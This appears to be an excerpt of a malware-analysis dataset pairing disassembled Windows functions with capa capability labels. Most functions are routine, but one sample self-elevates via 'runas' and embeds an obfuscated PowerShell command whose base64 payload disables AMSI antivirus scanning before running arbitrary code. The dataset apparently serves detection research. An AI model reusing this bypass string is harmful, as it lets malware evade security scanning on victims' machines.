joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180002780
Capabilities:
Get system information on windows

Disassembly:
push rbx
push rsi
push rdi
push r15
sub rsp, 0x48
mov rdi, r8
lea rax, [rsp + 0x88]
mov r8, qword [sym.imp.ntoskrnl.exe_PsThreadType]
mov r15, rdx
mov rbx, rcx
xor esi, esi
mov rcx, qword [rcx]
mov r9b, 1
mov qword [rsp + 0x28], rsi
xor edx, edx
mov r8, qword [r8]
mov qword [rsp + 0x20], rax
call qword [sym.imp.ntoskrnl.exe_ObReferenceObjectByHandle]
test eax, eax
jns 0x1800027d0
mov qword [rdi], rsi
add rsp, 0x48
pop r15
pop rdi
pop rsi
pop rbx
ret
mov eax, dword [0x180005268]
mov edx, 0x3e8
mov rax, qword [rsp + 0x88]
xor ecx, ecx
mov qword [rsp + 0x78], rbp
mov r8d, 0x58637250
mov qword [rsp + 0x40], r12
mov qword [rsp + 0x38], r13
mov rbp, qword [rax + 0x30]
mov r12, qword [rax + 0x28]
mov dword [rsp + 0x70], 0x3e8
mov qword [rsp + 0x30], r14
call qword [sym.imp.ntoskrnl.exe_ExAllocatePoolWithTag]
mov r14, rax
test rax, rax
je 0x18000286c
nop dword [rax]
mov r8d, dword [rsp + 0x70]
lea r9, [rsp + 0x70]
mov rdx, r14
mov ecx, 0xb
call qword [sym.imp.ntoskrnl.exe_ZwQuerySystemInformation]
test eax, eax
je 0x18000286c
xor edx, edx
mov rcx, r14
call qword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
mov eax, dword [rsp + 0x70]
xor ecx, ecx
add eax, 0x3e8
mov r8d, 0x58637250
mov edx, eax
mov dword [rsp + 0x70], eax
call qword [sym.imp.ntoskrnl.exe_ExAllocatePoolWithTag]
mov r14, rax
test rax, rax
jne 0x180002820
mov cl, 2
call qword [sym.imp.ntoskrnl.exe_KfRaiseIrql]
mov rbx, qword [rbx + 8]
movzx r13d, al
mov r9d, dword [rdi]
test r14, r14
je 0x1800028bd
mov r8d, dword [r14]
test r8d, r8d
je 0x1800028bd
lea rcx, [r14 + 0x20]
mov rdx, qword [rcx - 8]
cmp rbx, rdx
jb 0x1800028af
mov eax, dword [rcx]
add rax, rdx
cmp rbx, rax
jae 0x1800028af
lea rax, [r9 + rbx]
mov rdi, r9
cmp rax, rdx
jae 0x1800028ce
inc esi
add rcx, 0x128
cmp esi, r8d
jb 0x180002890
lea rax, [r9 + rbx]
mov rdi, r9
cmp rax, r12
ja 0x180002906
cmp rbx, rbp
jb 0x180002906
test r9d, r9d
je 0x180002913
mov rsi, rbx
sub r15, rbx
nop dword [rax]
mov rcx, rsi
call qword [sym.imp.ntoskrnl.exe_MmIsAddressValid]
test al, al
je 0x1800028f2
movzx eax, byte [rbx]
jmp 0x1800028f4
xor al, al
mov byte [r15 + rbx], al
inc rsi
inc rbx
sub rdi, 1
jne 0x1800028e0
jmp 0x180002913
mov r8, r9
xor edx, edx
mov rcx, r15
call fcn.180002f00
movzx ecx, r13b
call qword [sym.imp.ntoskrnl.exe_KeLowerIrql]
mov rcx, qword [rsp + 0x88]
call qword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
mov r13, qword [rsp + 0x38]
mov r12, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x78]
test r14, r14
je 0x18000294a
xor edx, edx
mov rcx, r14
call qword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
mov r14, qword [rsp + 0x30]
xor eax, eax
add rsp, 0x48
pop r15
pop rdi
pop rsi
pop rbx
ret
Function at 0x14003173c
Capabilities:
Enumerate pe sections

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
movsxd r8, dword [0x14000003c]
lea rsi, [0x140000000]
add r8, rsi
mov rbx, rdx
mov rdi, rcx
cmp dword [r8 + 0x84], 0xd
jbe 0x1400317b4
mov r10d, dword [r8 + 0xf0]
xor r9d, r9d
test r10d, r10d
je 0x1400317b4
movzx ecx, word [r8 + 0x14]
movzx r11d, word [r8 + 6]
add rcx, 0x18
mov r10d, dword [r10 + rsi + 0xc]
add rcx, r8
test r11d, r11d
je 0x1400317b4
mov eax, dword [rcx + 0xc]
cmp r10d, eax
jb 0x1400317a8
mov edx, dword [rcx + 8]
add eax, edx
cmp r10d, eax
jb 0x1400317c6
inc r9d
add rcx, 0x28
cmp r9d, r11d
jb 0x140031796
xor eax, eax
mov rbx, qword [rsp + 8]
mov rsi, qword [rsp + 0x10]
mov rdi, qword [rsp + 0x18]
ret
mov dword [rdi], edx
mov eax, dword [rcx + 0x24]
mov dword [rbx], eax
mov eax, dword [rcx + 0xc]
add rax, rsi
jmp 0x1400317b6

Function at 0x140033300
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14003334a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14003334a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14003334a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14003334a
cmp dword [rcx + 0x84], 0xe
jbe 0x14003334a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14003334c
xor al, al
add rsp, 0x28
ret

Function at 0x14003c094
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x14003bdf8

Function at 0x140045fb0
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140045fd8
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x140045fd8
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret

Function at 0x18001117c
Capabilities:
Create thread

Disassembly:
jmp 0x180011870
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x118
lea rbp, [rsp + 0x30]
lea rcx, [0x180021001]
call fcn.1800112df
nop
mov qword [rbp + 8], 0
mov eax, dword [rbp + 0x108]
mov dword [rbp + 0xd4], eax
cmp dword [rbp + 0xd4], 1
je 0x1800118b8
jmp 0x1800118fb
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x180011325]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + 8], rax
xor r9d, r9d
lea r8, str.Bingo_
lea rdx, str.DLL_PROCESS_ATTACH
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
nop
mov eax, 1
lea rsp, [rbp + 0xe8]
pop rdi
pop rbp
ret

Function at 0x1800111a9
Capabilities:
Terminate process

Disassembly:
jmp 0x1800152f0
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
add rsp, 0x28
ret
Function at 0x181072058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.1810721df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x181072089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x18107206f
add dl, dl
jne 0x181072096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1810720f6
xor eax, eax
add dl, dl
jne 0x1810720a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1810721ad
add dl, dl
jne 0x1810720b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1810720c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1810720d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1810720dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x1810720ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x18107207e
mov eax, 1
add dl, dl
jne 0x181072106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x181072113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1810720fb
sub eax, ebx
mov ebx, 1
jne 0x18107214c
mov ecx, 1
add dl, dl
jne 0x18107212e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x18107213b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x181072123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x18107207e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x181072168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x181072175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x18107215d
cmp eax, 0x7d00
jae 0x18107219b
cmp eax, 0x500
jb 0x181072196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x18107207e
cmp eax, 0x7f
ja 0x18107219e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x18107207e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x1810721d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x18107207e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x140001000
Capabilities:
Accept command line arguments
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x70
lea rcx, str._JAVA_LAUNCHER_DEBUG
call qword [sym.imp.MSVCR100.dll_getenv]
test rax, rax
je 0x140001066
lea rcx, str.Windows_original_main_args:_n
call qword [sym.imp.MSVCR100.dll_printf]
mov rax, qword [sym.imp.MSVCR100.dll___argc]
xor ebx, ebx
cmp dword [rax], ebx
jle 0x140001066
xor edi, edi
mov rax, qword [sym.imp.MSVCR100.dll___argv]
lea rcx, str.wwwd_args__d____s_n
mov edx, ebx
mov r8, qword [rax]
mov r8, qword [r8 + rdi]
call qword [sym.imp.MSVCR100.dll_printf]
mov rax, qword [sym.imp.MSVCR100.dll___argc]
inc ebx
add rdi, 8
cmp ebx, dword [rax]
jl 0x140001038
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov rcx, rax
call sub.jli.dll_JLI_CmdToArgs
call sub.jli.dll_JLI_GetStdArgc
movsxd rdi, eax
lea ecx, [rdi + 1]
movsxd rcx, ecx
shl rcx, 3
call sub.jli.dll_JLI_MemAlloc
mov rbx, rax
call sub.jli.dll_JLI_GetStdArgs
xor r9d, r9d
xor edx, edx
test edi, edi
jle 0x1400010b2
mov r9d, edi
mov rcx, qword [rax]
add rax, 0x10
mov qword [rbx + rdx*8], rcx
inc rdx
cmp rdx, rdi
jl 0x14000109f
mov rcx, qword [str.java]
movsxd rax, r9d
and qword [rbx + rax*8], 0
test rcx, rcx
jne 0x1400010c9
mov rcx, qword [rbx]
mov rax, qword [str.java]
test rax, rax
jne 0x1400010d8
mov rax, qword [rbx]
and dword [rsp + 0x68], 0
mov byte [rsp + 0x60], 0
mov byte [rsp + 0x58], 0
mov byte [rsp + 0x50], 1
mov qword [rsp + 0x48], rcx
mov qword [rsp + 0x40], rax
lea rax, [0x1400022c8]
lea r9, str._J_ms8m
mov r8d, 5
mov qword [rsp + 0x38], rax
lea rax, [0x1400022b8]
mov rdx, rbx
mov qword [rsp + 0x30], rax
lea rax, str._lib_tools.jar
mov ecx, edi
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 2
call sub.jli.dll_JLI_Launch
mov rbx, qword [rsp + 0x80]
add rsp, 0x70
pop rdi
ret
Function at 0x1400025f0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000263a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000263a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000263a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000263a
cmp dword [rcx + 0x84], 0xe
jbe 0x14000263a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14000263c
xor al, al
add rsp, 0x28
ret
Function at 0x401010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x00407410]
xor edx, edx
mov dword [rax], 1
mov rax, qword [0x00407420]
mov dword [rax], 1
mov rax, qword [0x00407430]
mov dword [rax], 1
mov rax, qword [0x00407400]
mov dword [rax], 1
mov rax, qword [0x004072f0]
cmp word [rax], 0x5a4d
je 0x4010b0
mov rax, qword [0x004073f0]
mov dword [0x0040a00c], edx
mov eax, dword [rax]
test eax, eax
je 0x4010a0
mov ecx, 2
call sym.__set_app_type
call dbg.__p__fmode
mov rdx, qword [0x004073b0]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg._setargv
mov rax, qword [0x004072a0]
cmp dword [rax], 1
je 0x4010f0
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x401075
movsxd rcx, dword [rax + 0x3c]
add rax, rcx
cmp dword [rax], 0x4550
jne 0x401058
movzx ecx, word [rax + 0x18]
cmp cx, 0x10b
je 0x401103
cmp cx, 0x20b
jne 0x401058
cmp dword [rax + 0x84], 0xe
jbe 0x401058
mov ecx, dword [rax + 0xf8]
xor edx, edx
test ecx, ecx
setne dl
jmp 0x401058
lea rcx, [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x401058
mov r8d, dword [rax + 0xe8]
xor edx, edx
test r8d, r8d
setne dl
jmp 0x401058

Function at 0x401550
Capabilities:
Enumerate processes
Write file on windows

Disassembly:
push rbp
sub rsp, 0x160
lea rbp, [rsp + 0x80]
mov qword [rbp + 0xf0], rcx
mov ecx, 0x2710
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov dword [rbp + 0xdc], 0
mov dword [rbp - 0x60], 0x130
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
call rax
mov dword [rbp + 0xd8], eax
mov edx, 0
mov ecx, 2
call sym.CreateToolhelp32Snapshot
mov qword [rbp + 0xd0], rax
cmp qword [rbp + 0xd0], 0xffffffffffffffff
jne 0x4015e4
mov ecx, 2
mov rax, qword [dbg.__acrt_iob_func]
call rax
mov r9, rax
mov r8d, 0x1c
mov edx, 1
lea rcx, str.Error_create_process_print._n
call sym.fwrite
mov eax, 0
jmp 0x401661
lea rdx, [rbp - 0x60]
mov rax, qword [rbp + 0xd0]
mov rcx, rax
call sym.Process32First
test eax, eax
je 0x401648
lea rax, [rbp - 0x60]
add rax, 0x2c
mov rdx, qword [rbp + 0xf0]
mov rcx, rax
mov rax, qword [sym.imp.msvcrt.dll__stricmp]
call rax
test eax, eax
jne 0x401631
mov eax, dword [rbp - 0x58]
cmp dword [rbp + 0xd8], eax
je 0x401631
mov dword [rbp + 0xdc], 1
jmp 0x401648
lea rdx, [rbp - 0x60]
mov rax, qword [rbp + 0xd0]
mov rcx, rax
call sym.Process32Next
test eax, eax
jne 0x4015fb
mov rax, qword [rbp + 0xd0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, dword [rbp + 0xdc]
add rsp, 0x160
pop rbp
ret
Function at 0x40166a
Capabilities:
Get token membership

Disassembly:
push rbp
mov rbp, rsp
add rsp, 0xffffffffffffff80
mov byte [rbp - 6], 0
mov byte [rbp - 5], 0
mov byte [rbp - 4], 0
mov byte [rbp - 3], 0
mov byte [rbp - 2], 0
mov byte [rbp - 1], 5
mov dword [rbp - 0x14], 0
lea rax, [rbp - 6]
lea rdx, [rbp - 0x10]
mov qword [rsp + 0x50], rdx
mov dword [rsp + 0x48], 0
mov dword [rsp + 0x40], 0
mov dword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0x220
mov r8d, 0x20
mov edx, 2
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
call rax
test eax, eax
je 0x40171b
mov rax, qword [rbp - 0x10]
lea rdx, [rbp - 0x14]
mov r8, rdx
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
call rax
mov rax, qword [rbp - 0x10]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_FreeSid]
call rax
mov eax, dword [rbp - 0x14]
sub rsp, 0xffffffffffffff80
pop rbp
ret

Function at 0x401724
Capabilities:
Create process on windows
Run powershell expression
Terminate process

Disassembly:
push rbp
sub rsp, 0x140
lea rbp, [rsp + 0x80]
lea rax, [rbp - 0x50]
mov r8d, 0x104
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call rax
lea rax, [rbp - 0x50]
mov dword [rsp + 0x28], 5
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8, rax
lea rdx, str.runas
mov ecx, 0
mov rax, qword [sym.imp.SHELL32.dll_ShellExecuteA]
call rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_ExitProcess]
call rax
nop
Function at 0x401791
Capabilities:
Create process on windows
Run powershell expression

Disassembly:
push rbp
push rdi
sub rsp, 0x3a8
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x340], rcx
lea rdx, [rbp + 0x2a0]
mov eax, 0
mov ecx, 0xe
mov rdi, rdx
rep stosq qword [rdi], rax
mov dword [rbp + 0x2a0], 0x70
mov dword [rbp + 0x2a4], 0x40
lea rax, str.runas
mov qword [rbp + 0x2b0], rax
lea rax, str.powershell.exe
mov qword [rbp + 0x2b8], rax
lea rax, [rbp - 0x60]
mov r9, qword [rbp + 0x340]
lea r8, str._NoProfile__ExecutionPolicy_Bypass__Command___FEIfwuioehfaiwyYOETWTRuwye___ams____iI____ni____tFa____EF8034uowieypowiue___iled____Ceoiuwjoeuyfw___System.Mana____gement.____Automation.Ams____iUtils____DFiowjhOHWOHEOUF___null__sleep_3___plaintext___System.Text.Encoding_::ASCII.GetString__System.Convert_::FromBase64String__W1JlZl0uQXNzZW1ibHkuR2V0VHlwZSgkQ2VvaXV3am9ldXlmdykuR2V0RmllbGQoJEZFSWZ3dWlvZWhmYWl3eVlPRVRXVFJ1d3llICsgJEVGODAzNHVvd2lleXBvd2l1ZSwiTm9uUCIgKyAidWIiICsgImxpYyxTdCIgKyAiYXRpYyIpLlNldFZhbHVlKCRERmlvd2poT0hXT0hFT1VGLCR0cnVlKQ_____iex__plaintext___command____s___iex__command__
mov edx, 0x2f8
mov rcx, rax
mov rax, qword [dbg.sprintf_s]
call rax
test eax, eax
jns 0x401828
lea rcx, str.Error:_Cannot_format_command_line.
call sym.puts
jmp 0x4018c7
lea rax, [rbp - 0x60]
mov qword [rbp + 0x2c0], rax
mov dword [rbp + 0x2d0], 0
lea rax, [rbp + 0x2a0]
mov rcx, rax
mov rax, qword [sym.imp.SHELL32.dll_ShellExecuteExA]
call rax
test eax, eax
jne 0x40189b
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov dword [rbp + 0x31c], eax
cmp dword [rbp + 0x31c], 0x4c7
jne 0x40187d
lea rcx, str.Error:_The_user_refused_to_allow_privileges_elevation.
call sym.puts
jmp 0x4018c7
mov eax, dword [rbp + 0x31c]
mov r8d, eax
mov rdx, qword [rbp + 0x340]
lea rcx, str.Error:_Failed_to_execute_command__s_with_elevated_privileges._Error_code:__ld_n
call sym.printf
jmp 0x4018c7
mov rax, qword [rbp + 0x308]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov rax, qword [rbp + 0x308]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
nop
add rsp, 0x3a8
pop rdi
pop rbp
ret
Function at 0x4018d1
Capabilities:
Query or enumerate registry value

Disassembly:
push rbp
push rdi
sub rsp, 0xd8
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x70], rcx
mov qword [rbp + 0x78], rdx
movabs rax, 0x206e776f6e6b6e55
movabs rdx, 0x646c697542
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], rdx
lea rdx, [rbp - 0x40]
mov eax, 0
mov ecx, 0xe
mov rdi, rdx
rep stosq qword [rdi], rax
lea rax, [rbp + 0x40]
mov qword [rsp + 0x20], rax
mov r9d, 0x20019
mov r8d, 0
lea rdx, str.SOFTWAREMicrosoftWindows_NTCurrentVersion
mov rcx, 0xffffffff80000002
mov rax, qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
call rax
test eax, eax
jne 0x401ae7
mov rax, qword [rbp + 0x78]
mov dword [rbp + 0x3c], eax
mov rax, qword [rbp + 0x40]
lea rdx, [rbp + 0x3c]
mov qword [rsp + 0x28], rdx
mov rdx, qword [rbp + 0x70]
mov qword [rsp + 0x20], rdx
mov r9d, 0
mov r8d, 0
lea rdx, str.ProductName
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
call rax
test eax, eax
je 0x4019a5
mov rax, qword [rbp + 0x78]
mov r8, rax
lea rdx, str.Unknown_OS
mov rcx, qword [rbp + 0x70]
call sym.strncpy
mov dword [rbp + 0x3c], pe_nt_image_headers64
mov rax, qword [rbp + 0x40]
lea rdx, [rbp + 0x3c]
mov qword [rsp + 0x28], rdx
lea rdx, [rbp - 0x50]
mov qword [rsp + 0x20], rdx
mov r9d, 0
mov r8d, 0
lea rdx, str.CurrentBuildNumber
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
call rax
test eax, eax
jne 0x4019f8
lea rax, [rbp - 0x50]
mov rdx, rax
lea rcx, str.CurrentBuildNumber:__s_n
call sym.printf
mov rax, qword [rbp + 0x40]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call rax
lea rax, [rbp - 0x50]
mov rcx, rax
call sym.atoi
mov dword [rbp + 0x4c], eax
lea rdx, str.Windows_10
mov rcx, qword [rbp + 0x70]
call sym.strstr
test rax, rax
je 0x401a51
cmp dword [rbp + 0x4c], 0x55ef
jg 0x401a51
mov rax, qword [rbp + 0x78]
mov r8, rax
lea rdx, str.Microsoft_Windows_10
mov rcx, qword [rbp + 0x70]
call sym.strncpy
jmp 0x401b00
cmp dword [rbp + 0x4c], 0x55ef
jle 0x401a76
mov rax, qword [rbp + 0x78]
mov r8, rax
lea rdx, str.Microsoft_Windows_11
mov rcx, qword [rbp + 0x70]
call sym.strncpy
jmp 0x401b00
lea rdx, str.Windows_8.1
mov rcx, qword [rbp + 0x70]
call sym.strstr
test rax, rax
jne 0x401aa0
lea rdx, str.Windows_8
mov rcx, qword [rbp + 0x70]
call sym.strstr
test rax, rax
je 0x401ab9
mov rax, qword [rbp + 0x78]
mov r8, rax
lea rdx, str.Microsoft_Windows_8
mov rcx, qword [rbp + 0x70]
call sym.strncpy
jmp 0x401b00
lea rdx, str.Windows_7
mov rcx, qword [rbp + 0x70]
call sym.strstr
test rax, rax
je 0x401b00
mov rax, qword [rbp + 0x78]
mov r8, rax
lea rdx, str.Microsoft_Windows_7
mov rcx, qword [rbp + 0x70]
call sym.strncpy
jmp 0x401b00
mov rax, qword [rbp + 0x78]
mov r8, rax
lea rdx, str.Access_Denied
mov rcx, qword [rbp + 0x70]
call sym.strncpy
jmp 0x401b00
nop
add rsp, 0xd8
pop rdi
pop rbp
ret
Function at 0x401e4c
Capabilities:
Encode data using base64 via winapi

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x18]
mov edx, eax
lea rax, [rbp - 0xc]
mov qword [rsp + 0x20], rax
mov r9d, 0
mov r8d, 0x40000001
mov rcx, qword [rbp + 0x10]
mov rax, qword [sym.imp.CRYPT32.dll_CryptBinaryToStringA]
call rax
test eax, eax
jne 0x401e8f
mov eax, 0
jmp 0x401ef4
mov eax, dword [rbp - 0xc]
mov eax, eax
mov rcx, rax
call sym.malloc
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x401eae
mov eax, 0
jmp 0x401ef4
mov rax, qword [rbp + 0x18]
mov ecx, eax
mov rdx, qword [rbp - 8]
lea rax, [rbp - 0xc]
mov qword [rsp + 0x20], rax
mov r9, rdx
mov r8d, 0x40000001
mov edx, ecx
mov rcx, qword [rbp + 0x10]
mov rax, qword [sym.imp.CRYPT32.dll_CryptBinaryToStringA]
call rax
test eax, eax
jne 0x401ef0
mov rax, qword [rbp - 8]
mov rcx, rax
call sym.free
mov eax, 0
jmp 0x401ef4
mov rax, qword [rbp - 8]
add rsp, 0x40
pop rbp
ret

Function at 0x401efa
Capabilities:
Decode data using base64 via winapi

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
cmp qword [rbp + 0x10], 0
je 0x401f1c
mov rax, qword [rbp + 0x10]
movzx eax, byte [rax]
test al, al
jne 0x401f26
mov eax, 0
jmp 0x401fed
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
lea rax, [rbp - 0xc]
mov qword [rsp + 0x20], rax
mov r9d, 0
mov r8d, 1
mov edx, 0
mov rcx, qword [rbp + 0x10]
mov rax, qword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
call rax
test eax, eax
jne 0x401f6d
mov eax, 0
jmp 0x401fed
mov eax, dword [rbp - 0xc]
mov eax, eax
mov rcx, rax
call sym.malloc
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x401f8c
mov eax, 0
jmp 0x401fed
mov rdx, qword [rbp - 8]
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
lea rax, [rbp - 0xc]
mov qword [rsp + 0x20], rax
mov r9, rdx
mov r8d, 1
mov edx, 0
mov rcx, qword [rbp + 0x10]
mov rax, qword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
call rax
test eax, eax
jne 0x401fdd
mov rax, qword [rbp - 8]
mov rcx, rax
call sym.free
mov eax, 0
jmp 0x401fed
mov eax, dword [rbp - 0xc]
mov edx, eax
mov rax, qword [rbp + 0x18]
mov qword [rax], rdx
mov rax, qword [rbp - 8]
add rsp, 0x50
pop rbp
ret